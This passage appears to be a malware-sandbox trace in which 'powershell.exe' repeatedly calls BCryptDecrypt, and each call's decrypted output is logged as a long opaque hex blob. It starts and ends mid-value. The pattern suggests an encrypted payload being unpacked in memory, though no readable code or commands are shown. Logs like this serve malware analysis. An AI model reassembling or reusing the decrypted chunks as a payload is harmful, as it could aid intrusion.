"a0cf32eacb28cda89aea2567a34c5f99cfcfa9746abc5b4b0e5d0eb94cd68bc7267a6f7124268527ac9f30d79a5d00c15550a554d9058d805344a622da25423211a0e84ad29ad6f5d06dc8ae30a8acf6d73be4db9256659f4e8cba225d8cfa351792a41192b3e4edc935c39893c553ae5bc46858eda50e82846e41535caa6eda8c2a94ce862a4139154145811209f537e7e663d221a6f2cd3ae87089d2829900893680ad978127cf8da8a201024ac0466e015403277e9973a34b18a29bb150e35432258e7439c33b40213ab344694c26a2195125f5f9bd882f55d9c5cecf4e273f4374c62498da9ad7d1cfeb7a3cdf15c5e8605a10fd1eb802ae1e7a038b06de61370169ec04ce8a1038d7a648cf564ed013787535c38f8ef6d08501041d0ad5589b51a5bcb34915b9a4ec6288c899011568206aa6b5aaa5136d8e8ed2e8df3b2ccf52d96db01178714e5e5a806883a31d1aa74510abca80568a16d57ba76792f8d7b89b09dbbf3a54f9ec37c8e56371adabdc59b4c9ad2c346c72fb8cb2669a6b3a1aceab8c18ea9976270a53a24996cba34a8a4d517aef36b992a26da86dcdb39f8ea23d1ac32a6a4e763bb1a65214226a9cd14b9b4cd8a4ca98d25263cd735b36e61579635973e93b3ccf33c1e9aa7565ce557910ebcdcab2ad18960233316a88a552055a6d88ddaf366cb759308eaeb967c3a70a62d2ab082d13a5961722d66792c865660a5758e76013b74cf3e5a854911e9fbbccf5b587cbf87d6cceb6d473b2e86359da83db593dc867a5e7a593aaf0384c99012a92db04eda028e954b21537a2e519e910d26d315462b72255312353a88a25ce8a75dab40268d35ad7955ca0e3795dcc3b4d5602174b1dc65d30c7a608450b35488d74806202d46a05222700982c1188188820846038c82b16bd32c99ec75299bb635c8a62301d8b5564e718e36a012a87611a88a08161614280facfa1587333e816c84a566e56aadaa07bcfaf787273e8ce6910ca9f4baf2f98c7a806426b958c157639fd36a7a8b4bcd092dc4a86b1517bb48f57d3c9e3f8fb90d24832b5c6cb719b5e5d1a4f575e4e77274e57a226983a1838073aea139eef2a93caf2b0b60920330a4ec700c28041a53534d66a1441354311da080953066073a12641ba77ebcf4f4cd5f3a2c9ccdd235bad4352cfcece3779e77279ea637b2dc67710a6aad2ad115d757d4db0c386fb08d5739e420d1b64fbcfcdf277229ea064d1b3533a5ae31319ace85a1317b2d3dc669a2726314ce8d170b0836b92144ed260b7699273a652a91d722dadbb10256320cb179a3483ddb63069ce91159e2c4743585d45d43f4c572ec95c5ac56ced75f0f179fb518ef6d08634d2dec0075984084a4bd12674072c1bf48447432f1a9d3319b75e75e7aba6d537989bacb9ea3597d27388d33699e726c44672f9"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "f4cd115b0adc3d0a5a488034a925a3b85c6b8635d2cd6d68a9b4c9a14d94851cfc6a0586aa541aae6c14ab5ed995254b92ea53687542336c13447524326b4eb0235a6a9ad15882a4c5ae5e38d4e954d5262902609ba908462db1ac94a89e442d3ae1cbcb6cb96a4d2d5a937d4eabcd11ae5180d8396d0e32435b6fa4b5599c814d56eb4948500e12d3c4a8bc6f37ac44645f6b4c3973a268438dd519a0c9785565a9e58a7468ea2eb4caea055227565679c29c5a4dbcdad675409921ea5f0f627a4573060805bb06e5e59d6940d4a0416abc913762b0a9bba226b4506edb0e767bad58526dc0e7b6e5a25a539ea67d1db8eee46bc5e75f3ef6f5b9d7cfd5ae34e2e98e7a956992857598de685515f533ebe55e3ccd3006a98206e622d311d0c594041d0d30c396dbb5c39d9ee2d9b95aa3a444a55d88c569c469d72c91abaa33ce86e44748260a74363881a6a30c6b604d5228762d5a6229e58d699614168e969cfce9de91604d134b9a8042db78f3e3726a0ba9a63c9cfa09ae9f3fa4e9bd0d5c744929ca6f24248711add59a6363a4a9a34dcaf25734d70638ebf4f2f1f93b10aeda09b372085b9254499aaaa9abc52ae04431a8a8dcae6ec46d74f4c734eaacf6eaf4f2f5f4c3c9f2f5a2689a04cc22a69563b4c956b9d7a93d2d9b40810a72870687abe94740b9db1b696e10da8355b690cbe5cbca4eb6f6cb1484215ba912149292312d500407d36b6fb4ca452df5098b2a5973b652a270e55a2e6956816aa936b3947468b8cb14398d11d24cb2996dc1a09bb0631b52fd94681536b388654a72be773ea9285965ae1d3462055bb4cd52f66d9e08d16d819e0c74a73dcedf3387cfd3cfcb681b348b9d4258142d0094d927a6eb135ce4ca28695aacec07318ea9d39eb99c95e288d4802a219e59a62ad579333baa8cd702e5ead2e3198b2f9b66dcfcec7a1b79146a9bcf2c58340d9892042d6f0270ca9417336c434988d40e8b34512a2934ea8a696304d81071e7b74cb2e5b1a2d160ed63b5ac7070d7380141351b4b1d5011aec9d746b80c7475169597472b4e4c551a85b96a7969ae2f15e782f3c37955e595553974e8e74a564d71f4e7bd335a6b1c432a76d67cfcba2a913919ab41d4c05013405500b0da14dd50e739a2f654506dbcf8d8f50b2dc8a74380c680629913606348e0a058465220a05320e0a04081a2a113704fa8054b4e82c6c70b554c883a4299b5bf9fd06aa7abd8cb9bcb34c6f1bc1402e601b089937d0a829d3138d3d1c5cecb609a8e4cb1245550090b73616990eda5b927233455221d1a8cca953726ce9513bb4cb2e5d0e18d42669695b56321da09696aad8d46f8e9e82d0a6cab3c12caa5299cb6ad1caa89deb57ce9a01ed3dcd2724ce9835a9b04babd1c9cbe6eb6b6c73a1ce78b373628334d29ca1b6b75c2f3d45112"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "3a0b0b0ebe5d9aea4f3d111d1e976e4f3fcfdd1566bc20677915aa960049e954f2b3129bc00408b1b5b521b79c8d16e544b2a2d3b542024d0dda4678a6dc8c5b9a738467bbe95bcb346dae9dc6b95e22024b6a466dad84d3464ac80d5f423a74cdd8b4d2c32d0e1ca9ad5e7b01229ee6e953e6b6962834f40100dad953961c70f686345b8d4cd69b857534dd2796290a89b6b345e4acf482a68c429a8743b0a411343d0e0e9a55411244142cf0dcd10a9214b4d1ab4cb165d1a6e7a7ae02d90dba466cab6f4663036e73e6f8dcda7330df4e87537c791cdaacad7a048e3676eb8ccb4dad00ef4c7769cb871eb9a63891493a96e2d19ea8167b8ceaaea4669b494f5dbb73e5839996f28b6d91a889153a15479f4f7e3e565d0bdb97263bf636e7cf998f1e97bcc89d8ef51aa4bc2f1c75ceb711e5989d1797b9eae1f0dc7dcedb1e6c6899b4d0f53baf0dc61a9c7373d57350040060dd2b5b7456b7052c552d5c6410831cd89942229e211389d26752ee8cf3aaa9a4aa7342b55ed0f51717c37c9cabe762bcee0d5335c131b187513cb0f767aa2a29b5ebcf6e5b51c6cf61696de8bcf3052bd9974e5bcef4c56df39664d3aa5116dd33d759e1cf6b0500853235a2b352a754e58d68280dcd002b2113409d366e48495a41408382804d3dc665a40a49b534029d0e82808543d779e79a04df51a1c639d6002743b6a22d941406d026404e7af8fa171a365f5e9f3634045566159a1335642c9598d666adb1a6b5a838e7d730b506026042ba1a619e2b34d9329105d1d33c31a808507520363553a473d1d39f046ba87b59cecf76951e79d23bcd116406023d4aded659a62b7ad762d1f221530a34f392e2b4698af2df639cd3aadc2d1a192746a1a9bd3d537aec7344d290b0c70fa7ae4b8ab8a325acd5b63933dd736236b0e95052762349972a9b7de3537866d8e3a1702aa258e2a809ad352314b05cb712fa4846ba920ba085ab4cf4bcf263ab59b7a73372ca4303f6cb3e71e6bcdec42ab13e926a7246c2690be78ada7537aa266748aa34544a8cf37a7a793d1f579d9f9bab89c9e965aac82508aa14b4d34c26fa1d5c7cacef165a9ad718109853dc09ac7888cd97bf171f1dbd56fcb831db9f96cc59c54e6f550b5a811cbd3980ccc84b9635bba39f438f3fcdbedd33c29e746a235cc69ac55354c4a62c80ed231ad63689d0d0635cd31aa1014f700319aa68ea49288207925269bcb46f9f419e6b97acf498242a01eccfabd41d9c039ef7e2e3e5ae6bc8a688b82dd1ae996098b42e344ed976e67698628d131ad316e594b20dd3a39567a80a84d42096d4aa6ada14e008eea69a5a29918f7998b2ceb0282d90543a1ebbcb2c6ada842adf79618d60c420e04088268409a215b510238d02ab100e058415831ca5569a87d679a744cdc65031cae689aa1c08"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "18b2db32bd6b301ac62336a95034c72cacf4285c5d14691b4fd33dd71cbc3a0b49042879a6e957abaeccf9df06b944074e744de855af5e71e7ec721416e52e5cb4270298abc979b42958de585be9d465cf629a1a78b5e63bc5316b1d05040a006e9a1685964c4d8d4004e996211c0369ce69358d4aa32c28280c04287020a05b2c541b2f2c71a8840b150e07574e7e646ddcd797979ee828150a18e40aa0b0639d979678d332bb08102c3763dcf72ccf5de269af3a4cd5938a7cdd38e9e99f2b2de6990cdb13ca4b154ac81a74e99ab295009d4b3a8a635033743318126ca292f3272b5502209aa4da5689d9806e32a239899d2e85e5cdcb7368e36d63d0b5ea47574cd69e67a71f1634223346da432852701f363af3e29a7146a9759ad063015cd3d56e5a6a2f224c1e80521f2308685d5809aab3b4fd3172b19d1cd982c64e5af24ceba2f3736d79a32bcf20cba49fa467cf51060a80071a628d57099a16dad2e6f7547476c159568d2366d3d3e9e76dcc95ab4c9b399081d215ae2e467c4e3dbce73742b5a5e3a677606892eea74e98e7cb7e9be724724d874ce91649aac81a74c31ad08bd2e375e3c45d669ae685d67215a73be973f3ebd64dcdefbc571d0e1806678f30cb4de0f559a3560963a7234b51a74ab1c55cfc7795a163a46871aa18563a35cee67444324c7694344da29a86696835d5561a61cd2ba5ae1830dd33a2d57b7be2c89f978eb530da11d0a33a1d1cbf4aebe0f9af07767cb7218234d6611561e93b393215c2e7e84dcaa2f5cf4745edcc32d6b5c8a50f182eb6dcc3cfdd1c266e220c9809c1be6f36bcf990234d48b9e8eb8f4b3e8e5e5b61bc5379c692e549db28013aa51b01b2f2140068acf3ce8c129546a26238d5850f6b8cc9a9d3aa15362389d85b56d50ac2c40a9b50a9bb720aa0534c7209db05380f7092e92b06d4aa6a836e99648d0466e62749d05b084b1f4f0ee7540a0e36d59f4a6b2cef26b35b9e9edcbc3c3b62beb5e7cd9a5029c521ae5736659085a592650d664f2d6088d909501d211beb30a59e2a0a862862a617a5d0c5985380241cdaab1d83d52d53e75ea1a75d6db27619a612abcb98a544280070795cba6b40b25e289d4c4d292f35b4d9743b1ea57ba758aa9cf44062c8744bc8d4ec29a25020c2c6656eb96844286b0d5a640acdac79d908d49352649444d2a9943812344b58189f45a1fae39b1d8c7aee3a1ae7d4df98669953763033e77aab2d9d18eabc555779ae57375843e9f472f0796fa1dbc58b94f2de6fabcc7d85a236b3ab7d414270f13d1af3ca9c72c0cee4442e1b476fa38f9c9f370e8aadb52bceb6cae12f12a4b8dad4c29c512a31bab33acb979d4799b4490aa8e9352a66a2de663af26ad793cfe5b50b6541661e777a636a5ce3d2bcbd9cedf33cef8ba2bb8c8aec5af4cb3e5b6a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "e8182ae9502ac8ab38092f724d39e485a1e7a696b4b9d353d1df17da7eb2235c569d33719d0dbac231b545bee119d50b6ef86dd38f398f83f33dae4c758b499a1a0818ab4090488c5295304cdf23be7c9cfb9de7aba23d4fa5e2f3782fc671fb5a96d27a94de02099d6be7cb9de65b2dad4eba7bf1e7e7ebe7bc96a615d0bc1f78f371eb5369b91a87ceda439d5c99de0759ca97cbd51452ede7e952f3148d65d25a627781a5699222df59d34acf54bbddac7433ebe219e4001bdc3e431650369979e62c531a2d46aacf2cdc4de2935d1d30c99e80ae9ace50512a1416806c42856998fa13b5a333cb53ab79f570f43a51d1d6eae4e7e672f1dd559732b255e423582dcb151b904c5a2a5a34c52e71c6ea690d13423e9ebcfc9cb73a95cba10b0474161d7db9b95974465b4a571381aef210cd1ac0b66cdb0e9de3c1e4ec5d32150501050e844211d01b96e91e8b4e7f2bcfd7602380c7228b011d040b081432108e0a013429c0d997514ddaa26ad0f540d58b5359a6ee924931d3815a426ea2a592d2c282c1b59c9b16ac4a0d0e151ac1c73aef3d351c9cb6168da6d4ae7529bd0a999ecaaccc33563406a8c7737b9d76f2ede88c73df401340e766bcbe7b9fa41954ab4e7dfaf37239fb71563ad6b42c8e504e9a8a18c5b5b64db155d414dc54f1c4e8420dacd535b15751d39899a26b2a338985bdce681a935bdd4854e69bb6131827e9cf9b37a07bea71676010713ce3588412cb1011bef3c99f56916a0dd596b53af692a34eb100f44fa8096db8c786839d74fab9b065ae2caf46d08cccd18f2235e465d885a32a026a018d822705a638f3d343454a39d3d3c7d4df9bccf077692fabd3cbef7d0f1f8d35e03cdf6724ee51ad56a299b4098c02e85cbef2b51b67552cf019896e0ced12a55c28ba6b4de7adacb7cb86201cb1c74b483cf46e5aaeb1dd15c2b840a98e27667d8fa599c66980d23629c13d3b6e71a1cdf3a745b24a32adc6cdb0e7c68a5434b55e4a1aa502713739db7963c7668588a90aace5052589404c3a84aa2158aa69a3e84efce7ce4d10115a275f5fd7c9a30edf3dcbd313c378e4acc5ce82853604690d0103492cd579638db2d4a851aa1c720aa0842ea447416280ca901a95c0a02190b45668297370083a5d1cbeb75c7c171f728ab15032a573543828141aaf2cd3700ea75bcf046c4ca0b10a762804d02ae85e38236b0b68133101541628cd59f40cb6aab4dcb4b1a0cc9a62b62a75e795c080aa626b6b4de553aad169d0411d46d718b3e83102a202540e69cc6a26c544e52e41321ba75ec5ce4cb6438a7229d8315b95ea57b96bbe77249135606555659a691599080ab6302ef16df3f3f3e9c8f2ce331f49a08da05b809a64dc68876169b6a4a348c7d65596fb9ad2da0055696292426d4d42592e13d842bacce69cdbe8cf"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "@B"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "8345506989c94e1600481ad09d7873dcb15394b9e7a13dbbe3deece5f79af0f4f9fa78759f8ae6ede467af2e0c852d9a6f2e565d16929b943553a2f4ce9d75a7a4d176f6adbaca33bceaba3af3e35af9ec2bccbe1ea757079ae7d79d1baab2cc305560d52f7349a8a3152281b50842ed2933a9501d4e972a96a9ad15011a46a80184d3af3567aec1272e8d3a6579747571e8552cce59b73b40b2e9cd351ac959a76c3d37a1e5b94f86e3f4525000831c027191ca555832a7a778f327601a954083a113051a74c9336134571a895aaccaad8e70a5629992dd23345d8506abcb246afa844dc082a1db4c12c6f70a9b8211f6b5e5e467d20a881ae365e1ed3a383c1f1fa8a6dce7463e9262db59a151de64490c33dcd11901b4951400759db973c7b5d1c9870eae5e7d7a2750a8170f16ba9e767d0d9a64d395d545d64d8e8d2d526a8d19796724424d393db3bf59dbcacb0d24e8083cc4e7726c069699b9010864702e058d9ad6b450a38526b6ac706922da2025541b15b5952e864304dc5315d3053d32e9ad1a73e08d053d559046c2c16355ea4b5caced21e4d79f4548a798accb453a6d4ddc271d94c7548459a6b7363d547775cf78951a84d4688460891ee766b0fb58b2d1f73bb7c489cd93f29c3d08a3393753535989172f18c694365e60a96dd3800e8de59b3d49375e7a2b2cb9546a0a953dad8ab38b33042982eda23b9c8a9d792a4e796f2cd1bd696a94dd6b1c991570495a9372b55a1c20d175192b1708c1ab2f45d5c9ccc74ebf6727aadb9f5e7d1c24bc9f9bdf9274404d16355bb6e6e6e3d0099b9d5b63831ebd32689aee2dcb37eb3a4f47d392635cd37b35cf2c5251e6719f2471e56b2aa4566ba98140c9205b56ceaefccb878f3d29acc54724d255c7220c6a2423b431a11ac70040906268b402e6da9ba35b74dcf5c9796ed715e5d50a196a69579b36e7e7a68700c4cddb9d3a64cc8b839fa55595376a81c8d175229b6a5537414162b6b5de7922f4dc26696aa87020a050cdc888da5aaa19084375e58a346d4eeacb979ee4d418039c9881352b8281b2f3cb1a520c46c00018b3663d773a5b4b711a8231dcd0a67524aba9ae3ccc7a40460c727506d2c431b1469d4e8e66bc789cfdbbae0879b1e92474276a1531ea9408798a47522a9d5133db44dec56d602abacf4e9cf8b0ebb0cb7968d311cf76ce822001bc960a498885eb73a74cb9d96e8719aa1e3a9d02a29c6ea8c39ea6d9aae8b197873b2dd85c4c81ab4118d4ae6b6cb2685cd3ce877379c9b6e95690e8c8912828cda4ea10a6976a575404db0348029552d978e1cb7ba8627dcda7d8fa3e4e4e7df9fcbe883a004ca5ab371a1cefd630e3ae7ce9b73d6e8c397cf5c7c6b2aa4b10d50412447537344988eae09ca95b1231134e6822893a79b2f1cb1640d1e9469435505999"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "818ca1b10e9a582851aa6ad3c55965bcc9329d2546a702b4581b432e9829b93d0af5dcaa2c4aa686f325442ef6fc7e6b97b98975f5c39d3a6557b69674dd17d583114872d24c46816cad2675d171aa76df45a9096a004b3436874ee699daeae11cf5cf974d37ce862800b4fd0f5618f1b925e91d0d632739c3c2d6d21b4159dca42db8e595050fa9ae1c1c7aba9bf2f3b2e81431ad04b290674e217376e365472d5686ae5bd2614c4f6156dca338ca901a7537c911be7c96304979059d9a1dea1eb1a5ae19966aca85baf3446afacd971ef3d0f1fc071f5a70e8846827454d495b6286ef9f7e7692d71536a9d569ad92e4833c6e3a6370fae1da8eaf67d0742f3e5f36f7489a252fa3067be797a3587dcf91c2bcf57173625179cd3350c02904d19229b106104b6039e96987367548eda055623a8165c3f43bf3f273d32e7ad0463aa173563b90ea7a5ae3cdc7a5f1b54df496ca793a973d573f4c81aa40b4d57a74cf2b8ce9a9544b6ce56ce7dd4a4e6a36a424aa080da9055102119050205041c158e82c35567926e81952b4e0503ea206bbcb9b97440811ab01080697676c2a4e467d023827d402a5a7438142b1b1cbb3eb271dabe7e3e1dd4e5979aa34a4da9db4a43064a9a311b2b34a7487699266c95c03acd5376a9aab5469dcdb9b878f431696d1aab7113835089872f48ca6e297d4aa6edb11514f551ac6666de969f1a12ba4c8772580120daf4c71b9489448309534423b0b0539aaca2a35a689be9322d71a983ad315a1053d5411ab622dca454df637e3c18f54caf5aa015e99e8729cf4a015a35dbdbd8eb733a9a623358f3bcf210a823449eed33a9a370a9d330f972b426b67535970da6660359f139aad4db54ab2949a7031926d00eaa2938982ab72b6b53ce4574aa511a5c86e16310e838c55315324d01a6a73c68d74c4ba5ac64cb7d1a400eaaf75b273c5e7be6aa4b6863b4cfb7a69973bc50922512873a75cb14510dce7b3d7e67139ebb9d1cbc9e7e802ba5596336539cd5158e99ae7afae1cfc7519d406b6c1694ad69ae96f5a7bcd34f41b65bab3752e773ec77354bb9b70f3f3e8e07276ead79f9f975672f10b8e61e6a7955a609a16d04b3a85839cd4b6ca24c9a43401a6f2d9a63c98dd5351a6d4a66b4de488b20b05174162d5798433a411768dbae7872db6c74a08d85be344699a4608cb467a853822ec1579ad28142b0aa424ead32a57955d000edaa089d8e8284ca80182ab081020a03294436a3346b4d5058a040373e937e114fcd61dc4c0446581081336b456762c91b40754ad3a1884068969d0533d6338b9740a62aa902e5b5239ebb6f3b6f265adb084638ab5d452592746d48920da41b5126a2a10d0a8a6c0568361cd336c3d06dc9e7393d062d1cac0974dbd51a01c28372d10d2c6f9a6b051553a2a139eac55a1"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "c73a954ac0408234ea8cb3ac658ac293ef6fcfc7cf4cd17d3d70e5e7d1604201d850586abc969a1593911c168bcd79d8a71a3a4a54e7289b26a85d0bc70e7b0b642ee6bcbc0c7ac9a05442807481388ebefcf25f1f2dfa73b2137e9967cb7a4e856860c8a62ae9e9cdcb8ddb1a9940e234c4c66aef24c8ba6cbc50af5b56008b9a09b6b6294027261d1d33c38751d449b6a35ced49b5355e526daac044e41379713825de429e88d0d5ea400f3934c626da9ea74f1f3797d1a62459880a95920d6779834c2a22d531d3150d4214bca6cb7ebcd8a37d0b450cd2484a4b20dc6b6333d9cad8a5c8cd488453ae93634cdd532c6647b2eef378dc9ddc7c2d642d2d855d1b2e743d2c304aca97385a95d29dad74ed26696e313cf9592d268a219a49c6992a50e1e055133dd55096ae2db72722062e3a3ae3979fa7625b51a6a4234534b6a39b97a2a8c1a9b4a7549a4026553936d4618bd368168997ab598a7143c92f08f2dbd0de59a5a5aa92a6b4553b5c3873599c51891868ac0b3d58da1840ca85232adadaf47d3c1c3e6ebbcf7594f6f550ecfa7abaae991717d3db2ee75f365cb4768b2ce8b1c8011872db938de1515af3ebd373aa2cef9aa3ca1cbcaae53bcf3aaa7222eee93c7cab4287a0ee3346944154c72a8d7b9875f36e316bceba9ea6fcca978b3d4074c29b612ca919a645922ee45ca5d3f3dfb7d3c7e90dbccf07a786a315e59af362d3156561552bacc00138d32a50ac5909b0e86bcf9a34ceac4743b69f5088be96b8e64227401da287488c828380face93527ea7af8f8b96bcfcb6f6ddbe7e04b89c5d98ded6d410aa826b9df79525cc8e8a0b6585040a0dd59638d6da36813d15023cd17ab3e800d1a62a9b19ab2a9049d812aba9b0d73b1c6aa700e1f59c559d3370c62dce59d1e532a3738e767a5aab6a136aac0c6c54698d662ab4a7b42a36ea52e6cb509688a8cab1e81ecbcb2cde61742f3cb9ec6a8d02934aa0b4d94249b5a750b5b9e4101af3679d2c4873a75e7c59ea236ab60e829ab06356a765e4a34cb974b150b4b2469193baf9d39edd464c7a853a0dda61d7d79b89cde8ed3658d6da4911519ed2ba5473f3cd758658ada36966f5d3425e5daeae3f33c7dd9c0950a4e73a53a6721f3652418656c9b6b962bc150049de771a3c77bf362cf55c68c69e0a050a956a6b6469a665883739da5898264e8d2f56990c6af6de5edb94b4a835d2e9ed021cfc76cd2f7de19d5ad69926542cd15caa14cb2983736609758b5c32a36565cd8963ca88621cd2004a01d17259d438828d895037d65b34b3a7dcd11c8bc95a8f67ea71e0c76d9bc659d32e7a73b0d7998e8b521ac6de9e1f23cbd345e8d70e7cd00f90f9b35654f36dc2c6854c54d51d1ac579e8ca9d7ae1cfc74eb547215ccb7f7f9f4f88b8c1a73aeb316ac5062310606a15"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "f4f467be8d70d66250b8d3ab293d3d59e86dd0f5e8b2c686ab6d36dcd4b70b2cba8356886a71e74fa64c549951943339491b2b44818d0ab0d2c7a639eb2253ba59aa5efc9bf5e7c9cfd18a76b0708675885de6d7231a1b528ee65d568a8d7b0c524fd30e8075fa219a99a35cb17c8c74a473a6b94b27698f26b1c405ac22a44944d05483ce12038d00ac34a974852cdad5791caa4c748a4d7974a2f348a34211cd32955a181aae74a651a616ba19f6674f41a244fd79b9c8aa8446fe8f3eac4963d797034b625e61731cca95a6a556d50a30522642687b74cb0e7b037a6a089cd3adb958e0a8760e70ea8cb3ab5ca26e864e40204026847a1c6cd315c5e48d09a4cdd036a549d0e0a040b0b0a0a081196141114c68963d15131eb1141c0b0608110769d8cda09718f07cdb5c76ab2e2c6eb9d3654e14c10c28caa1080922e60ac914cd9aee119eed9b254d540e6c4f9bd82cc25110344e9a16ac4d0e01b6a33d66bbcca756cd680b9b84014c43b4c9b1a84de6246f350f33cc5bb6f5159d382d3b6359ed9886546757b419718f3d02694deebcb3e7d2da859229e872fb8567a94e862207cd94b8a9d55a06b54a04b98db8350f6cce3598b85c96c602d5b95b025ce64249493d0a8e9ad78e473af155e288d1ee4e37daada9db9e7d64dbc9223cf6b4e564a6b5699e6cf552b8e5d79767a39797c7e96f8df46d86ebc393cdb660a69d17d3a95cd5b7aea8a34a45808dc32131b489f788cea995aac06c5089302accf34117451a1206a72979f4cb3912b2d2e1f9766ddf879eaa6540546390b5a510359d12c9baa573b74b2eaa6b5cd6a467724977ae7b3be7a375c8c3a31e5614b3c5f214719e79ef3cb58ad99b4cfb3bf1a33d39b1b2dc0b911532036f208bd2e0f36734da96ccc048e9cd93150dca8762a0d1a662a931760e1153f75d9c1e4b93b7a5a0fe5f6e6bc8b27830f5b8c13795cb4ad59f46471b75c3991a62bc42b358c454c16524549d7928a54d40b496dd0ed8c268700530641468d80a8dc02ab141f537e7c995a4a4aab11b4b4db52c685bf49dbe71724f1f1ece79d2b554d5b54811b1a372a5549c113511062ca0b0804d3ea36bcf0f377d0e04021db9ee6dc9c1c3b2d3b02608539d7b65e9f5e0e771f56a7d1c4c7ae8254a10da970ed5d01279d2a6a900e49a24cd539592a3a818d4498d3a74d4e728d6274dec9a70c908acd2490334cb04d6ba4ccba285a659cd580838368f282c6a24831de625536b7342a6c8a898b94089a6b6c9d0525b02a2e6d9377ae2996e9a68de258301ee426c9329d18379a3a90359b3bb64accd56949e9011b36e5e5e76a8db5142ab68eee31456573ada0408983e7b9c1785d66fa909a39df73265aed73cdacb4b8ce209a6279aa1635b254306b4c911bd93aba35326dca04926dceb8b10dc575f439f969ad8"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "ef9eb353ce08818c29d36eb8e6cba3420e34b1365db96098a73b10cdd5382742345340f3534e5a030535b42e633497a6754d672b3caf34e7a98c5a626c489a64d6cbcc1308d63561274d4d8ce8002d9898d026f4392d0a50f23d39f2469236d0696e413012c4a68da695bf4e7e2a15368ace844541d0f527a556cacb345da3402d096b9d7921ab05b4cacd8d5c6da27462b054359a4227adc253d09ed57b15ea4d94b2cda85444a828db4de7236d94aef9f065b6b743439e68911267bc7243ba59debbe9035873d1ced34642137890a955a7a9ace95bca9cbd9bd67752dacb9196c95a31d146fd618d6469ccb7613aeb218ad46cfabe7bace0a2794e4468acf25e23a634e73a6e06a789e69a9539b6889782d3d352ace9e4326a9a7a86d4664caa113560552a1bae334e943b1349831540aa271bec9d7a675cd2b9d58f42d736456dcee79b32d073eb74f408f35f360db9c5ca005380350233bcd53477148d951ce8da3293206de62854d9391188e82c29848164080fa844d5d2eb6b8a93e5e5b36a549c0739edefc8957c8e7eb1677f6e5f3d8f4d27009a1450cda0468720dc05a70282c2d14cd351962f64740a1d4931a6ad70c99eb4e4408702dc8a6c69a974fa3979d8742a3739d0405c90cc6498050427ab52b6b2cb05423a118df3a35540226c2d539ca952dcb5cde7d14935962a468db9b0cddce86b4b9a63227d012e6eab2a9aad32edebcbc3e7eb7b484c93d05685a62a9412ba9b1996c8d1359895651841d0b56fc9b1e7c3cf52297356830703669f7990b246da2a513a52ad43a9b5b9b6514c4f60ea648893275902569b169547436cb9d96e559648b4d412be852a53ca210c0a9111223ab55d7a9545ad3a51a55695687199e79b5cb3a2868726c1418e1a3552da39a68d8aa19adcf4ef3dd8f42a6f595a53cadb36c32c392dcaad68f57a68c2a74874b49c92e12112b605e79212d5f57a70e663d8a9aa29fa383e598a9ca6b1a1e89ad4a56c958e527bb7259be4a1553137c6cb75269c55a1b4822b68dd2d6f26ba05ae6748a09acc4debcf9a3643955669a85567d3db9dd17c9798233b2224bba9096e0a131cba4b1352bacc65834b1d86ed31cd342ea359559082698d2d550c9adf1d5ed36d2f4e2f1fcfd3ca52c2aca76dc9ee3bfc6efe15f38f3fdcc4bae8a88e5efc79ea1682685cad3a615c887577e7d82e4e7a618d8dc44f4566c173a36369d50a5499aa658e8204158134a2a04168d201089b2108c9ab020a4f469904d082e6807020a0e069bcf6bcf939f4534404d027aeb3c93a444639ca156ecba4151d4253a6a809aa45839cdb4a44551550e844a8ca24c93a69b4b6b8c31a94dc0bacc2698d12286d6291169a93a058f7e98e5cf404cda50503d55cb3a8eff471f079fa84434acabcb78331b937cdadc539101736e568356432"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "6b942b82b0a081438141404d08e809c9b44d266dd719e2d8e45326027b34c71e7b4081410205850108428702c2daa0206b94aaa0b65235e3d6026de684e82058530928c14c9cd0e93b083b45aa746ada14936f24c6af2f446a44e3acd816998742a72cde773a1cc8d5ad65545598054b654b46b8baa993544b4b7b9ddae19e5e5cb76dcab2df53a488d55cb6b4b7169d39cf59da7a955a7aa36112db55679da30d86baaa7345671adab4429ae5af354d34429eed33d51a641edd797839f4ca5995522820513a6a695d098acd3dcafa2ad912b59d2441a093570645154f3e5656509a3d14313cc2c559e2b8d171cb834d4bc35d4e7cba6e4959dcd6d57a66da3c2f2e75e296f254c72d6213968a68840ae26559dc682d3ef2d396fa9e471bd48fb929dc53c5704ab54dee681a7e5d244b487b1d4b346342a6d8c953822aae019cb5a52d0c79ab2cb52ed321916b5d8f2d49f425aa6915ceb17575e7e6e1d6bacc1559a92713454efa808dac4434cb079a186b41645614b7edcf932e85b12355e192f05a762d9b73f2a351734e28222c201030862515394b488a5d5050c1b1a549b1ce556552b54238009896ca95aa11f65d7672eee15e39de38005a606a236e5d7bb3ea48ea752160eaf3b8ae02a69c00030aa608268ef34cdc094a209cc62a6eea6d9dfdb93838f53aa3346829c6584150e0bbbb73f2b3d73ce94cb1501b40875480d7356141018d0266d5896aac54380222658083aa69310739cd36e72ca59a2f567d1421a80550290da95cdbef3cf1a40b6a85020e01a04a6cd9840272336f5ae98d41c6779d03182868c49ba854d3466352ab0a158183405317313a19aa273d1bc94ab1e7b583d5b95d5064ba6d0e524e9a580882606c93af97428d051a76c33de7cccf66ab638ef6d879cc3af380b56821d8a84f6991a684f4ab62ac5a659dacee46b34aaa0a4c9a3a8b546012315303a8cd19edb6b1cf14e9b7b9eb6dcf839fb1cd2e74d5a46253cb934d4af3b43596b3265ebcdcb9d09561bccc3a1798aabcb51141689bd2ab42b366573cebc72b85d4054036854c45aa3a4f9d0a6c5ca842e5ae24d6ebc999eb717635b36bbceac5a28d749408e94dda5d1bc72c6adacdc4b5a5cd50b39385e79ca12f3d2a2ae744d4aa8a684820d0f0229d2765c6778eaa38f8b12ea83bcb04efa6a4f3b55452d1d3ab0748c759d5e20ab51733d92c4de700e741548b846986ee8e3e7c68dbcfd06bcde3397b55516e04082d3b48c503a3a60acb65a564b883526d418013919a162862c89db4b2c15ca4b6015d39dbb59f6731e3cebc328a33abbf265cb7df9f4dce8e9d2f3df1de68ac91af3cbc79ea96d0d2372b920534206c8d2d36d4295d032a440da4cdd0a0e0ad94881b34c513749ac62a8ea68608d7a6688a04e8761020b6de7927404e04141db5a5c659d2"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": 